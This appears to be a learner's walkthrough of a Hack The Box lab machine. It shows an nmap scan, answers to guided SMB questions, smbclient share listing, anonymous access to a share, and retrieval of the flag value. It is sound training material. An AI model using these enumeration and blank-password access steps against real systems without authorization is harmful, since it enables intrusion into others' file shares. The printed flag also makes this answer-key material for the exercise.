```
┌──(root㉿kali)-[/home/alvadelg/Escritorio]
└─# openvpn starting_point_AlvaroDelgado11.ovpn
2025-01-24 16:02:59 WARNING: Compression for receiving enabled. Compression h
as been used in the past to break encryption. Sent packets are not compressed
 unless "allow-compression yes" is also set.
2025-01-24 16:02:59 Note: --data-ciphers-fallback with cipher 'AES-128-CBC' d
isables data channel offload.
2025-01-24 16:02:59 OpenVPN 2.6.12 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO]
```

```
┌──(root㉿kali)-[/home/alvadelg]
└─# nmap -sV -O 10.129.142.13
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 16:26 CET
Nmap scan report for 10.129.142.13
Host is up (0.046s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
No exact OS matches for host (If you know what OS is running on it, see https
://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=1/24%OT=135%CT=1%CU=35465%PV=Y%DS=2%DC=I%G=Y%TM=6793B1
OS:3C%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=108%TI=I%CI=RI%TS=U)SEQ(SP
OS:=102%GCD=1%ISR=102%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=102%GCD=1%ISR=10A%TI=
OS:I%CI=I%II=I%SS=S%TS=U)SEQ(SP=104%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=S%TS=U)
OS:SEQ(SP=F9%GCD=1%ISR=101%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M53CNW8NNS%O2=M5
OS:3CNW8NNS%O3=M53CNW8%O4=M53CNW8NNS%O5=M53CNW8NNS%O6=M53CNNS)WIN(W1=FFFF%W
OS:2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M53CNW
OS:8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y
OS:%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR
OS:%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF
OS:=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80
OS:%CD=Z)
```

What does the 3-letter acronym SMB stand for?

SMB stands for **Server Message Block**. It's a network communication protocol used primarily for providing shared access to files, printers, and serial ports between nodes on a network. It's commonly used in Windows-based networks but is also supported by other operating systems.

What port does SMB use to operate at?

Port 445: Direct host-to-host SMB communication over TCP/IP.

Port 139: SMB communication over NetBIOS.

What is the service name for port 445 that came up in our Nmap scan?

```
445/tcp  open  microsoft-ds?
```

What is the 'flag' or 'switch' that we can use with the smbclient utility to 'list' the available shares on Dancing?

-L

```
┌──(root㉿kali)-[/home/alvadelg]
└─# smbclient -L 10.129.142.13
Password for [WORKGROUP\root]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        WorkShares      Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.142.13 failed (Error NT_STATUS_RESOURCE_NAME
_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

How many shares are there on Dancing?
4:

```
┌──(root㉿kali)-[/home/alvadelg]
└─# smbclient -L 10.129.142.13
Password for [WORKGROUP\root]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        WorkShares      Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.142.13 failed (Error NT_STATUS_RESOURCE_NAME
_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

What is the name of the share we are able to access in the end with a blank password?

WorkShares: `WorkShares      Disk`

```
┌──(root㉿kali)-[/home/alvadelg]
└─# smbclient \\\\10.129.142.13\\WorkShares
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \>
```

What is the command we can use within the SMB shell to download the files we find?

Get

```
smb: \> cd James.P\
smb: \James.P\> ls
  .                                   D        0  Thu Jun  3 10:38:03 2021
  ..                                  D        0  Thu Jun  3 10:38:03 2021
  flag.txt                            A       32  Mon Mar 29 11:26:57 2021

                5114111 blocks of size 4096. 1749382 blocks available
```

```
smb: \James.P\> get flag.txt
getting file \James.P\flag.txt of size 32 as flag.txt (0,1 KiloBytes/sec) (av
erage 0,1 KiloBytes/sec)
smb: \James.P\> cat fa
cat: command not found
smb: \James.P\> exit

┌──(root㉿kali)-[/home/alvadelg]
└─# ls
Descargas   Escritorio  Imágenes  Plantillas  Vídeos
Documentos  flag.txt    Música    Público

┌──(root㉿kali)-[/home/alvadelg]
└─# cat flag.txt
5f61c10dffbc77a704d76016a22f1664
```